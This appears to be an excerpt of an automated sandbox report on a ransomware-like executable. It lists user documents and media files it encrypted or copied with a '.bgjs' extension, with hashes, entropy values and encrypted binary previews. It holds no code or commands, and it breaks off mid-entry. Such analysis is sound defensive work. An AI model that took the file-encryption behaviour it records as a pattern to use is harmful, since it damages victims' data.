Preview:	YYTXS..~w?D.......3...'...^.-......JV.:'."3........!...i.#.,..!cL..W....B.W........x,".U.`W.X.N.....W.....u..A...N.XH..!.t.}.....-...I....T...R=.......%m.....P..Nl-gW.m.C[.U.hx..wH........;s.%...Ax#0 .F.........j.].!.....B....U.......G...?...BH.)..O..T.M.R..%. ...u..i..Z#...Z.h..g....C+.x)......e..:p...3.........;.,...G..13=....QD... I.'....x...u2.....H.-.I.je.lb...)....P.bd........wjL.S.....(...}...!.N..0...p.........#NWcB.<26J........1.llu[0..l....(...#j..G....1...)GJU...Z..%]..4....A......\4...n.;..E...TYx)u.....I.:...\|..2.E=.......Q..`.......n..S.I.w....z.\.+mz...@/...].b..s/..]Z...C....uX..`....N.....e..D.w...i........<E..v........_.m...!.\|........Rw.....\|.KN........~.....J.....C.3.s..g\B.+.LY5GV.2O.D.o..<....J...@.."<.....e.n_. .O.F,.I....Mq....).vV.3 .I-Q.,.F.q.._Kj.../..J6.b...b.h.-.b..i..3..#c.S{...(36~lp1j.Y`Dn..a.......f8a../...9..!F.../.....".jQ..~.....Y`I.8_h.......> ._.E)q-.x.j...f5(F1\O..W7hJ/..e^......9.}Tb.q..w

C:\Users\user\Application Data\Microsoft\Windows\Recent\YYTXSGEDYK.mp3.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\rq0mVjR9ar.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.834596773557205
Encrypted:	false
SSDEEP:	24:nVG2ksQVJVqVPX1Mv0U5d5hNTd/khzgcDuOMMhTu6800s/HFVSTZgsJiTkbD:n8PBVqVvO/hNTSh1DY0lNVSi3iD
MD5:	C124E2218B08F04610C252E33100C25F
SHA1:	F1062821EC43551B4F09FBCCAD31C40EE653B0BC
SHA-256:	F274380BD7FF6723F7459CDA359BDCFAB177EB62567C5FF124973D453EC6936E
SHA-512:	6626D31A080F98E0EFE546433D214E458B2D642DE34590B9F6073AFB2CF4E00A9F410DC83675154E5F4BDAB055EE3EB92C5D92DBE43C3F986265D965C151C4A5
Malicious:	false
Preview:	YYTXS..z.......s..d'.?.&.l?..""...+.M...eVhP...5....%.^.3........>.,k...R..du..._"=..m..8..-....j...w.."j..`....F....&.n..9BI...1......J. N..[.../.7V.$.....G.E.{....T(.T+b.(.a..akV.>......E....n.H.5...O.......A.. ^\|Yq\...'^..q/X8..b'i..<.........F..{.b.nI...{.......l..9T..Ak...+.?.......Ze.v$0.K........Y..CO,...1...j...,e.<..B..........=>.....KA.=.=t..t=j..x1.Z..;......}[..G~Nf,.,...M...%.$e4l..z3...8.rpn.@2....d-...l.O....?.[.........2+..3F..-.\......<....HosVR...R.4....JK..N...qj....JP..s.....z....z...v..1....^..=k?V-N..lBwa..'P.._.!....z.>9....%nZ.rgc.H.yB.....I..L.Rg..c..g.~`B....ip...,.........<%C.{...Be..0...j.q....:M..z.U....G..__.a.z7.c..6.D.t...]..,.u..(.........5.i `D.Nh.....g..J...7O..0..2<6.OK...%~...n.GiP..F..K....YV..E.7...GD....i...e?&)`.;........:b&.A4.P.....fk!......-.0d".n>7..huc...3...$..KZ.K.......Q...B.KLF/-..~...H.....@.8Xf.U.%..S.nHL.w$.6..A...{.8$).I..l...L;...a.`..aB7..^zz^.c`.....a0.M,...*..QA.hN..c..X-

C:\Users\user\Application Data\Microsoft\Windows\Recent\ZQIXMVQGAH.jpg.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\rq0mVjR9ar.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.822785448672064
Encrypted:	false
SSDEEP:	24:cGYOCa8iKLZrQRFstoFPFviIXZOcSF6KTdIz4eNIIO67XfgCqxYiTkbD:j+ZiWZrQRitqPli8OcjKC0gO67Xo7JiD
MD5:	DBD173F4FFB8CB62991EC218E4BB1730
SHA1:	8535D8482991DB2D4B0098DAA22347543420E13B
SHA-256:	0FE0CF5D99B7194091DB77D36E537E922A6E31ED6E10C8F19CF9DF187C991E8A
SHA-512:	8DF48123CAC62FC5FC0C3663702593724C33BF7F7C0326EF7D983ABDF2E8AC009969AE72601F549235A2B3CB5AE12404FB8DA0E7E4CC0134C640C29644A83F63
Malicious:	false
Preview:	ZQIXM._.!.(_F....In......:...P .._.K.l..6`8....t.}.Q.....;..'.k....7q..............,y....`.l.o....@..]]vK.,.{..^M...]Gfp..{y......Bp...U....X.{.C1r......&...i1&Md.i.../ ....0#(R.{..\|.K.fbh.d...s.....\|C.;..&.>U.Q.......9b..a.."_c.=K.~...`[..U.{..;nH...p_s.d....2ml~c"C[I...i....#..Y.Wu.u2.{.!g.zy.....X.=Z._.n.YmMz..dE...D..3...gB.Z.'J......S{W.....\|..g.qN.\J.K..$?..{.Y3..G..h...W...x..h.-..l...P+..!.4.7..-...')B..~shS."D...........}f... 4.y.A...m....7.m..<QV...cjK......y.!4A...{Y0J9....U<..k5.D.A...W..+..>B....Q._!n.......1Tk..I..cD.jGg...J..[.(X[..pW'..$....,q....f.0I..-3R.1n...W.....nh?..t,q..Y...}w.n....H.T<.H.i2..:..&..........7..K....]...+~}A.B..D........v.d."L..Q...1....'J..-........9ig...k..$.....fr...H..hje...a.\|j.'H._R...W}.R!.....]m$$..!.)...tyY.$M...,.K..Ty.m..c..P...uz..E+.ej.y...C;B.R.O/b.I...eJb.1.4....y..+..d..+)..@...Y..l....{.....7.L..P4.....'D....r..<.p.h.........z7..1f{....B6...Ak.4.+..8N9Q.i.......t}.O..Y.............."W.<.j.s...

C:\Users\user\Desktop\MXPXCVPDVN\BNAGMGSPLO.png

Download File

Process:	C:\Users\user\AppData\Local\024f663a-fade-4f06-af66-38634144c25c\rq0mVjR9ar.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.833362466952547
Encrypted:	false
SSDEEP:	24:/C/zi5SDBtq6+8UzNYh4NQmS3O+/53hGRIDlRccK2aU4tZBoiYQ9mINlU+gdViTW:/C/OSDW6ZU644l/53imlRcc8t5Po+g+q
MD5:	C4EC15F56E35EB9C68C5BCAECC75D2D9
SHA1:	F9B71B7D51F881397BC82DF3F788C05C4B183D6A
SHA-256:	8C2C24002F14EC987E082726A97EF4F820EA021C40CB5886F42A1E11D46FC68B
SHA-512:	16DDF044612590F2958BEF24C6EF2985B830B08D4863FC0F3EA3F96F2E49161673DE4532E846A9C5D319015F86755D082FB06E52028B5957ABF9EE5D32ACFCB0
Malicious:	true
Preview:	BNAGMM..t...KH.i...O..e.5...".8D....,......S.5..y.)>}..g....&Nb:...'a..&..L.....{.Y..i.{t......g.......dziu.F.bL..1...,>.> m..=e.b%`....-n...z...QU:....z..\.:....z....d....m..D.;....v.!..'.5.....}..<t..w.....N..4..z;.x.fW\..]!..E..C.(<..8...X......e..N?W....%.8.ZsG...l..8.y.~.....@.I..`.~.H........z.A.......U.h-8.-h....G..8..7.1.;o..w.Xwl..s...L..O;Gw...c..q..;t.....L.rL..1~....>.t.u....Q.V........sJ.8....M}c?...D.mA<...,lV..E...%..7..Oj..._5.r.5.}Z_-..Y..7.T....D.....'.'.....I.'.2.......y^..sE"".@..P.o(A.\|."..6.VF..o...k.C....m.....wJX.._.1R..+..1.....N."..e..X.N..p..4..X.........(3....y..p..E......+&..c.....H..g.....}.."..n/...Ts...0.ZJ.N.\2%....8...A...A.L\v......P....a\..-u.s.e.p\I .K.=R..X.-..W...e.....p.q:....=..=..Z..\..y......}.Zs.)...H..I#...P.......0Y.M...^...5...O.H..G4j.N.....A=A.f...y.....L..1C.d..-76.x$0.j.......'.j&.m.Ru..G_J...vD~..l..t...77.H....D..&\.J.;..*f.t=l.pM.."......!..."...m.......$r..]G.g..1.H....#..

C:\Users\user\Desktop\MXPXCVPDVN\BNAGMGSPLO.png.bgjs (copy)

Download File

Process:	C:\Users\user\AppData\Local\024f663a-fade-4f06-af66-38634144c25c\rq0mVjR9ar.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.833362466952547
Encrypted:	false
SSDEEP:	24:/C/zi5SDBtq6+8UzNYh4NQmS3O+/53hGRIDlRccK2aU4tZBoiYQ9mINlU+gdViTW:/C/OSDW6ZU644l/53imlRcc8t5Po+g+q
MD5:	C4EC15F56E35EB9C68C5BCAECC75D2D9
SHA1:	F9B71B7D51F881397BC82DF3F788C05C4B183D6A
SHA-256:	8C2C24002F14EC987E082726A97EF4F820EA021C40CB5886F42A1E11D46FC68B
SHA-512:	16DDF044612590F2958BEF24C6EF2985B830B08D4863FC0F3EA3F96F2E49161673DE4532E846A9C5D319015F86755D082FB06E52028B5957ABF9EE5D32ACFCB0
Malicious:	false
Preview:	BNAGMM..t...KH.i...O..e.5...".8D....,......S.5..y.)>}..g....&Nb:...'a..&..L.....{.Y..i.{t......g.......dziu.F.bL..1...,>.> m..=e.b%`....-n...z...QU:....z..\.:....z....d....m..D.;....v.!..'.5.....}..<t..w.....N..4..z;.x.fW\..]!..E..C.(<..8...X......e..N?W....%.8.ZsG...l..8.y.~.....@.I..`.~.H........z.A.......U.h-8.-h....G..8..7.1.;o..w.Xwl..s...L..O;Gw...c..q..;t.....L.rL..1~....>.t.u....Q.V........sJ.8....M}c?...D.mA<...,lV..E...%..7..Oj..._5.r.5.}Z_-..Y..7.T....D.....'.'.....I.'.2.......y^..sE"".@..P.o(A.\|."..6.VF..o...k.C....m.....wJX.._.1R..+..1.....N."..e..X.N..p..4..X.........(3....y..p..E......+&..c.....H..g.....}.."..n/...Ts...0.ZJ.N.\2%....8...A...A.L\v......P....a\..-u.s.e.p\I .K.=R..X.-..W...e.....p.q:....=..=..Z..\..y......}.Zs.)...H..I#...P.......0Y.M...^...5...O.H..G4j.N.....A=A.f...y.....L..1C.d..-76.x$0.j.......'.j&.m.Ru..G_J...vD~..l..t...77.H....D..&\.J.;..*f.t=l.pM.."......!..."...m.......$r..]G.g..1.H....#..

C:\Users\user\Desktop\MXPXCVPDVN\MXPXCVPDVN.docx

Download File

Process:	C:\Users\user\AppData\Local\024f663a-fade-4f06-af66-38634144c25c\rq0mVjR9ar.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.848842112565465
Encrypted:	false
SSDEEP:	24:YXXqFMM/i7Pl89+yiUtljpxlD8CnOixW2HKmnHd1XhB2RnAFWiTkbD:1FMMelepiglTmj4Kmn91inaiD
MD5:	D404ED1A4D657965D44060A2A2C926AC
SHA1:	3433FC77C309A659C0A9A4F2AD586568AA240193
SHA-256:	7C355E5DEB687E4AE8D40CC79884AF1588641E6827C328DFD3440CA7C3E0BFFD
SHA-512:	9A622D6FA4B4D17E8ED27FB618474430FDE31E87148DF5CAC34B968DA3B0A4F018E4472DA8612E4467B9A241E405568E288B3D902B7091258E72933722C3CFC7
Malicious:	false
Preview:	MXPXCW:..W..4ek.=...."2.^.@4.6\|..d...s ...L"O.1...@yy...u...<.zB;..F\|(..i..."..g.d7..#........f.W....n..]...r......`i.!&..T..l..w..#.F.F..kx.....G...;..Dr..jm..S.IH..8.....~....]H....6c...k;.>..0.........D...z...F..O.lT+.V..m...K!.If.5.{b...,M..WM...V.UY...._.@........[h.L[.;]...QQ.{J..".q.....M8..Z..m..x=.u...W.O......\.....+F..z............8....&C7.< ....IN.B.4.\7f.$.V.w.q.....U#.....J.DR..z.zl.z.6-...........!.&....@W]...[...R....;...j(...ZF]...z81.N...p7....,W..,U6.=..=..O...._.E..E...3.&.....87V../.Q.w?.U/.9.K.B9...{N..5....i.,.. iW.J../.....t...."..3$.l...Q....k...4...-..a....Q6@YM...{@.d.l}V.H...CNiH......G...7.<}..No..r.n.-Y.~~d...A..W-.<...Q.....e.6.2.. ...'.E#?.}.)B...+ ....@L.AL..L..R....8.P...q..TY4.-v.0Q....y.}.....s..,M...0...k..;..i.gp.3._.n...<G.8.g...h...j.M..R) A...........v.......RD..e.T.....>({)..)F...K.......8..Q-.T.O.)F1\|]...Q.GV.D.L..2w...8>-....W.}..c..d.e5.......Y..]K..m.....K..:.......f)w.\..C./b....0

C:\Users\user\Desktop\MXPXCVPDVN\MXPXCVPDVN.docx.bgjs (copy)

Download File

Process:	C:\Users\user\AppData\Local\024f663a-fade-4f06-af66-38634144c25c\rq0mVjR9ar.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.848842112565465
Encrypted:	false
SSDEEP:	24:YXXqFMM/i7Pl89+yiUtljpxlD8CnOixW2HKmnHd1XhB2RnAFWiTkbD:1FMMelepiglTmj4Kmn91inaiD
MD5:	D404ED1A4D657965D44060A2A2C926AC
SHA1:	3433FC77C309A659C0A9A4F2AD586568AA240193
SHA-256:	7C355E5DEB687E4AE8D40CC79884AF1588641E6827C328DFD3440CA7C3E0BFFD
SHA-512:	9A622D6FA4B4D17E8ED27FB618474430FDE31E87148DF5CAC34B968DA3B0A4F018E4472DA8612E4467B9A241E405568E288B3D902B7091258E72933722C3CFC7
Malicious:	false
Preview:	MXPXCW:..W..4ek.=...."2.^.@4.6\|..d...s ...L"O.1...@yy...u...<.zB;..F\|(..i..."..g.d7..#........f.W....n..]...r......`i.!&..T..l..w..#.F.F..kx.....G...;..Dr..jm..S.IH..8.....~....]H....6c...k;.>..0.........D...z...F..O.lT+.V..m...K!.If.5.{b...,M..WM...V.UY...._.@........[h.L[.;]...QQ.{J..".q.....M8..Z..m..x=.u...W.O......\.....+F..z............8....&C7.< ....IN.B.4.\7f.$.V.w.q.....U#.....J.DR..z.zl.z.6-...........!.&....@W]...[...R....;...j(...ZF]...z81.N...p7....,W..,U6.=..=..O...._.E..E...3.&.....87V../.Q.w?.U/.9.K.B9...{N..5....i.,.. iW.J../.....t...."..3$.l...Q....k...4...-..a....Q6@YM...{@.d.l}V.H...CNiH......G...7.<}..No..r.n.-Y.~~d...A..W-.<...Q.....e.6.2.. ...'.E#?.}.)B...+ ....@L.AL..L..R....8.P...q..TY4.-v.0Q....y.}.....s..,M...0...k..;..i.gp.3._.n...<G.8.g...h...j.M..R) A...........v.......RD..e.T.....>({)..)F...K.......8..Q-.T.O.)F1\|]...Q.GV.D.L..2w...8>-....W.}..c..d.e5.......Y..]K..m.....K..:.......f)w.\..C./b....0

C:\Users\user\Desktop\MXPXCVPDVN\NVWZAPQSQL.mp3

Download File

Process:	C:\Users\user\AppData\Local\024f663a-fade-4f06-af66-38634144c25c\rq0mVjR9ar.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.853905374133474
Encrypted:	false
SSDEEP:	24:FIsIYWAUUFEZCxGeVZuOTcUEIFFOfBXNzEFPhyCUg/yeC7kRKHviTkbD:FtI3dUFfZhYra3hhylDefRKHqiD
MD5:	1AFCD11E693484846CAE33DF169A90B4
SHA1:	46C7A6E26459B1936FB9968A7D2F489D4C4AAB7A
SHA-256:	9747666A093FC3B2C365DBCF3872FCBD41B19A40A6574A7E0E479C47F89B3F9C
SHA-512:	FB5D91E0FDF92BB8649AE522F1B5E4349D742EAB258F1B27D621947D2D4BD3EAFC3B690F4CA9DCD6C505807E40FBEDE424CE014E39F5B471EB5FB284758D439A
Malicious:	false
Preview:	NVWZA.U~..3..4S%\|.tJczEao..#.G..&......).....s,.~.KO....nq.......]......#.riEF.....l...A,+]..q.d...UO.\q.!J..<.z.>...@XT.Y..A4..]go.K?..."...vp.Q..gnFrJ#9. f.W.a...0...........x'>y".....}8.6.<...r..s:Z`0....rf.m.....2......B.A..8F.p.y...+.H.P.z:K...7..X=b.......U..\.:.J......XH...O:........}H....;Sl......[.'\|r....S...)H.g...C...pE...;......,.H..E{/.O.H0.....@..-.u.S........IX.N....f^<>Ek.....#-......,...("..cT):...#'..Z..D..../V...d..h......e...6u-d..`Qj...s..)......" ...8.-..D......8._1[P.y.H....6Z....1/.T. M....F.l9d.)'gJ.,......[..Dj...b....^{kg.I:.01......T..k.xb/..m..v..vw..J..Y.......;....D..]u.a...Q..r..h.0...7...../s..W.$`....P....P....9.p)....2....!6]f...v!..P_E....7'.:.r.....4...(Z1.Q.x.6E..(...{..4J.x..>d....K.@i.......<.....t...i...c...5.<.......b.Xt%.Z..0.:l...#..{6}.....+.-.{{.............8t...v...F 8T.N.0#z..^..l.....y-......6...u.......&.b....B.RY..X..&....L..Y.+G..-.{.7.+.u..c6._..O.....9"P.p..Dmv./.&.{..O(..0.......>q

C:\Users\user\Desktop\MXPXCVPDVN\NVWZAPQSQL.mp3.bgjs (copy)

Download File

Process:	C:\Users\user\AppData\Local\024f663a-fade-4f06-af66-38634144c25c\rq0mVjR9ar.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.853905374133474
Encrypted:	false
SSDEEP:	24:FIsIYWAUUFEZCxGeVZuOTcUEIFFOfBXNzEFPhyCUg/yeC7kRKHviTkbD:FtI3dUFfZhYra3hhylDefRKHqiD
MD5:	1AFCD11E693484846CAE33DF169A90B4
SHA1:	46C7A6E26459B1936FB9968A7D2F489D4C4AAB7A
SHA-256:	9747666A093FC3B2C365DBCF3872FCBD41B19A40A6574A7E0E479C47F89B3F9C
SHA-512:	FB5D91E0FDF92BB8649AE522F1B5E4349D742EAB258F1B27D621947D2D4BD3EAFC3B690F4CA9DCD6C505807E40FBEDE424CE014E39F5B471EB5FB284758D439A
Malicious:	false
Preview:	NVWZA.U~..3..4S%\|.tJczEao..#.G..&......).....s,.~.KO....nq.......]......#.riEF.....l...A,+]..q.d...UO.\q.!J..<.z.>...@XT.Y..A4..]go.K?..."...vp.Q..gnFrJ#9. f.W.a...0...........x'>y".....}8.6.<...r..s:Z`0....rf.m.....2......B.A..8F.p.y...+.H.P.z:K...7..X=b.......U..\.:.J......XH...O:........}H....;Sl......[.'\|r....S...)H.g...C...pE...;......,.H..E{/.O.H0.....@..-.u.S........IX.N....f^<>Ek.....#-......,...("..cT):...#'..Z..D..../V...d..h......e...6u-d..`Qj...s..)......" ...8.-..D......8._1[P.y.H....6Z....1/.T. M....F.l9d.)'gJ.,......[..Dj...b....^{kg.I:.01......T..k.xb/..m..v..vw..J..Y.......;....D..]u.a...Q..r..h.0...7...../s..W.$`....P....P....9.p)....2....!6]f...v!..P_E....7'.:.r.....4...(Z1.Q.x.6E..(...{..4J.x..>d....K.@i.......<.....t...i...c...5.<.......b.Xt%.Z..0.:l...#..{6}.....+.-.{{.............8t...v...F 8T.N.0#z..^..l.....y-......6...u.......&.b....B.RY..X..&....L..Y.+G..-.{.7.+.u..c6._..O.....9"P.p..Dmv./.&.{..O(..0.......>q

C:\Users\user\Desktop\SQRKHNBNYN\MXPXCVPDVN.pdf

Download File

Process:	C:\Users\user\AppData\Local\024f663a-fade-4f06-af66-38634144c25c\rq0mVjR9ar.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.857805286069079
Encrypted:	false
SSDEEP:	24:CmZGGTbwigIhzSXf8auy8RtcJEbvQxblIyXA3d89GS1ORcgq3GoIeiTkbD:nxbwmhzSXf8S8RC6L3/SgQTyiD
MD5:	816F4CA99458D96EA42F85D7023DA0EA
SHA1:	9B52288B20332153E544EB2193A122AF2F576F90
SHA-256:	D4B95DF3E14BE349BB10F2E5859099B53BB83F891F90BA51FF866C5F6A7DAEAA
SHA-512:	1302057D0A4996A87195E19FF87AE55F893FF3B465048AF2CBABAD33215147C58A021E74270762D374ED02407F3159BD5A10A1567FE12B2D1432A4BFE66E9AE8
Malicious:	false
Preview:	MXPXCs...%....(.Dd.Aj...>..B.".....c....Ly.........@..#..._.....[......6.\1..oL(..pg.../..Sa..U .j.........=.;.~...iwB.UU&'a.Tv.T.mx..C...y....Hq...Q:....^..-~{...D.SQ.2.N.x..b...o......Z..p..;s.h.Y.'K...p..Q1...x....1.....P...H.u.C .\|.Qp.Gr.uc...e.r.jg...k.o_....JP.........;.._t0..cU..n...H.*.........D..r.3...0.....l..n...`{A....9T..vP...@T^%-S..@)%...G._.>......5..^G...7KY...3.....T..9.C.>.q.JV ..$i.....o^.....g$..x.......d..>Q'...a..Ny6`#,.a......X......(.K....H.]....n.I...>"..v....A.O..z.!..j`a...1!0..'...Ic..^.....7......n.n.p....W.q......h%..[.g^..o.!i..H.BI;.u.....iK......:..........uH...y.%O.D....D.......[.F7y.tv.C7...+2....a>#.l.2..-.g..;E..;x.+.......6.8... DE..yqk.4....v..l....A....>._....)..$..m.-..#s....Y.z.;...3..H.,...>. .i.._q.v......$ue....TS!..H`...Nxd%..]...O.c...Z...X.D....4.3..~..M..z....ZM+..e.9.............!8.X....;\|.L/\|.)qt.C..<._.....m.Vr..Hj2i.&'h.].!.?:.I......Dd.qw.M.Yh..,.........Yu....&..B.D.y$.........,

C:\Users\user\Desktop\SQRKHNBNYN\MXPXCVPDVN.pdf.bgjs (copy)

Download File

Process:	C:\Users\user\AppData\Local\024f663a-fade-4f06-af66-38634144c25c\rq0mVjR9ar.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.857805286069079
Encrypted:	false
SSDEEP:	24:CmZGGTbwigIhzSXf8auy8RtcJEbvQxblIyXA3d89GS1ORcgq3GoIeiTkbD:nxbwmhzSXf8S8RC6L3/SgQTyiD
MD5:	816F4CA99458D96EA42F85D7023DA0EA
SHA1:	9B52288B20332153E544EB2193A122AF2F576F90
SHA-256:	D4B95DF3E14BE349BB10F2E5859099B53BB83F891F90BA51FF866C5F6A7DAEAA
SHA-512:	1302057D0A4996A87195E19FF87AE55F893FF3B465048AF2CBABAD33215147C58A021E74270762D374ED02407F3159BD5A10A1567FE12B2D1432A4BFE66E9AE8
Malicious:	false
Preview:	MXPXCs...%....(.Dd.Aj...>..B.".....c....Ly.........@..#..._.....[......6.\1..oL(..pg.../..Sa..U .j.........=.;.~...iwB.UU&'a.Tv.T.mx..C...y....Hq...Q:....^..-~{...D.SQ.2.N.x..b...o......Z..p..;s.h.Y.'K...p..Q1...x....1.....P...H.u.C .\|.Qp.Gr.uc...e.r.jg...k.o_....JP.........;.._t0..cU..n...H.*.........D..r.3...0.....l..n...`{A....9T..vP...@T^%-S..@)%...G._.>......5..^G...7KY...3.....T..9.C.>.q.JV ..$i.....o^.....g$..x.......d..>Q'...a..Ny6`#,.a......X......(.K....H.]....n.I...>"..v....A.O..z.!..j`a...1!0..'...Ic..^.....7......n.n.p....W.q......h%..[.g^..o.!i..H.BI;.u.....iK......:..........uH...y.%O.D....D.......[.F7y.tv.C7...+2....a>#.l.2..-.g..;E..;x.+.......6.8... DE..yqk.4....v..l....A....>._....)..$..m.-..#s....Y.z.;...3..H.,...>. .i.._q.v......$ue....TS!..H`...Nxd%..]...O.c...Z...X.D....4.3..~..M..z....ZM+..e.9.............!8.X....;\|.L/\|.)qt.C..<._.....m.Vr..Hj2i.&'h.].!.?:.I......Dd.qw.M.Yh..,.........Yu....&..B.D.y$.........,

C:\Users\user\Desktop\SQRKHNBNYN\SFPUSAFIOL.jpg

Download File

Process:	C:\Users\user\AppData\Local\024f663a-fade-4f06-af66-38634144c25c\rq0mVjR9ar.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.859684749557539
Encrypted:	false
SSDEEP:	24:mekBo/uyIUONjHcJe/nJhJFZW4Gs9zAauL47fy0Ja4tpbRruYP2RXGiTkbD:meoo2N8QnfBGs9sai0RtfrPiziD
MD5:	240095DF669B17083A65740D4FA9526F
SHA1:	144DE5B906E492FC0F97B802180FFD5F50AB771C
SHA-256:	8AB0C762B39A679C6CCB4E8D6639B2D1CA0F76DC0ECFE3A3F9F44CF3439A163F
SHA-512:	2C595F3CD626AD79BB2FF14FCE88CD6C941AFA429DB7983527DB0C9E2401779FDADF8B147A2FF9862EE46DF988C120D63EF4EAAB17BE31B93510D65A5362B8FA
Malicious:	false
Preview:	SFPUSt}........9...7o6x...4NA.....gAj\m..DORLH..z........K...R+OW.... `....Q!.<.#Oz..o`;...%[..........d..u4K.4n..6....;...W,y...!.U....)......yW..h.\_.af.. .`^_.VE0.xx....s... .a@6...m.@..}G.......TG....F...j4.S..c...}..~....:.t\..0/\....E'%...V.,..P."..kOI.=...........MX7.=......h~..Ri.a..'r...=.o}....I..^......b.]8l.y..)..S.5.%SRg..D[;h.iexP..;..J<...q?...+.A(r(..L^yZPG....26.....a......3F].p..R.....N-. z......5~...F.EqE..,..nj..D..f...@.2..u..e}'H..m.s..Ke..O.J..<....0.v....(:..1o.p%.....[\w.X..8..!5..[.....Q.....G..O.....hih.r.t.P...&d0..r..^.%..n....38...=$...".cb.BJB.7.f.&.k ._.Tc.?E.)..j.{......90......t9.vf.$...Rs...]....?#..M..B.&)...gZ.VY3...%.F4....h,.%!-.R[..;Z.Ma...]J#..Sr[{...\.d.06.Z..G..P.\|.b>..$..=\|VM..=}NS.x..H..;..d.{g6.r:=..E{....n...R.p.e.l.i.+I19..T....9.........-.(...=..'...S...9./..SW.\<X.+....z.....kf..]}......]1...-q....."...OW.;..&3.0.AF.wI.E,.t..e.......0k.n...D......Q.v...3[.1/twj.,_.6...G...z....!...;(......

C:\Users\user\Desktop\SQRKHNBNYN\SFPUSAFIOL.jpg.bgjs (copy)

Download File

Process:	C:\Users\user\AppData\Local\024f663a-fade-4f06-af66-38634144c25c\rq0mVjR9ar.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.859684749557539
Encrypted:	false
SSDEEP:	24:mekBo/uyIUONjHcJe/nJhJFZW4Gs9zAauL47fy0Ja4tpbRruYP2RXGiTkbD:meoo2N8QnfBGs9sai0RtfrPiziD
MD5:	240095DF669B17083A65740D4FA9526F
SHA1:	144DE5B906E492FC0F97B802180FFD5F50AB771C
SHA-256:	8AB0C762B39A679C6CCB4E8D6639B2D1CA0F76DC0ECFE3A3F9F44CF3439A163F
SHA-512:	2C595F3CD626AD79BB2FF14FCE88CD6C941AFA429DB7983527DB0C9E2401779FDADF8B147A2FF9862EE46DF988C120D63EF4EAAB17BE31B93510D65A5362B8FA
Malicious:	false
Preview:	SFPUSt}........9...7o6x...4NA.....gAj\m..DORLH..z........K...R+OW.... `....Q!.<.#Oz..o`;...%[..........d..u4K.4n..6....;...W,y...!.U....)......yW..h.\_.af.. .`^_.VE0.xx....s... .a@6...m.@..}G.......TG....F...j4.S..c...}..~....:.t\..0/\....E'%...V.,..P."..kOI.=...........MX7.=......h~..Ri.a..'r...=.o}....I..^......b.]8l.y..)..S.5.%SRg..D[;h.iexP..;..J<...q?...+.A(r(..L^yZPG....26.....a......3F].p..R.....N-. z......5~...F.EqE..,..nj..D..f...@.2..u..e}'H..m.s..Ke..O.J..<....0.v....(:..1o.p%.....[\w.X..8..!5..[.....Q.....G..O.....hih.r.t.P...&d0..r..^.%..n....38...=$...".cb.BJB.7.f.&.k ._.Tc.?E.)..j.{......90......t9.vf.$...Rs...]....?#..M..B.&)...gZ.VY3...%.F4....h,.%!-.R[..;Z.Ma...]J#..Sr[{...\.d.06.Z..G..P.\|.b>..$..=\|VM..=}NS.x..H..;..d.{g6.r:=..E{....n...R.p.e.l.i.+I19..T....9.........-.(...=..'...S...9./..SW.\<X.+....z.....kf..]}......]1...-q....."...OW.;..&3.0.AF.wI.E,.t..e.......0k.n...D......Q.v...3[.1/twj.,_.6...G...z....!...;(......

C:\Users\user\Desktop\UOOJJOZIRH\NEBFQQYWPS.pdf

Download File

Process:	C:\Users\user\AppData\Local\024f663a-fade-4f06-af66-38634144c25c\rq0mVjR9ar.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.818092367336332
Encrypted:	false
SSDEEP:	24:L63MMNuOXg09+SkQTSXFo4c2UUed7E4HuV8F4n4O35PUTJiiTkbD:LuND9+XQTQFo4c5UedeVS4jPUJXiD
MD5:	6347C40A5D3911B54136CECE1C32206A
SHA1:	38FEC244D6535FB2627A8AF6B9664F0ADD2E6C34
SHA-256:	79445EDA1104959DBB2289027D9D0FE6A5C609596C5B3FBCD2BD9C1B6D4DD0A3
SHA-512:	C28E9781AA6511204E75682BF04A19B20EB565E30845EC3965FCCBE9D0B8DA9C2353ACC4E9B26C28FAE87F22870DC4FE4D3E6788D7E38697FDE7E25D191521CF
Malicious:	false
Preview:	NEBFQ.1<c..e%..k....I.-......F~^sZ=.Ir....0.S... ..... .........3f..u.....eE1.....Hpaz.sb/.5.}c....2.q......_.....SQ/8h]\|U.=\|..X...S\...U...M.9....;.J...s.)...sM.8....\[._./..DC.{,.b..^.....IZ......gf...;...2vN.'..t."Z..+G.R..../V..4..j..<O..2]/6.0..Q0ij........../\|.3...A....9........Z&ST..g..3.>c?.......m&R..Z)..9...i9..SgZ..F..E....G....n..x..E.,.T\,.N...5\|..ZG..9y...`2.#n..x...^m.. .....s3..Ta...hq,.$..Ae..w..r.......x.2..dZ..d@..0.t.}$..+...W..D...U..r.9elC8.#1.E...t.V...~.,.....@.)tO.V....Z..=x...=Z.....d..H...gr.le..l.< .`.`...%.K......EvC[....2....q......u.H....E.R."]U...~..%!.........e..J.....s...x...n...._....;\|K[E0..F..j..g.E...Z.>..`WqS..Y..J.,i..._.-.J...^...Dxp..2.4.O.&...%..0..:..d9.....d,.jg.8o.....b..W.u..S.2../.C......?!.I...m.z1..@.n....i.6..Z.<.~..g......0X+.S_w.....&.(^D....:...]..N.D_.e....;..E..y'[5....X..U..:#&QS.....N.R.E@.7.ve1.lS#..K.}oW.Q>G.6.E..w2...fiE..0x.A..Z..S.J...!9X. c....p.5.#...2vA...u[Y...H`..

C:\Users\user\Desktop\UOOJJOZIRH\NEBFQQYWPS.pdf.bgjs (copy)

Download File

Process:	C:\Users\user\AppData\Local\024f663a-fade-4f06-af66-38634144c25c\rq0mVjR9ar.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.818092367336332
Encrypted:	false
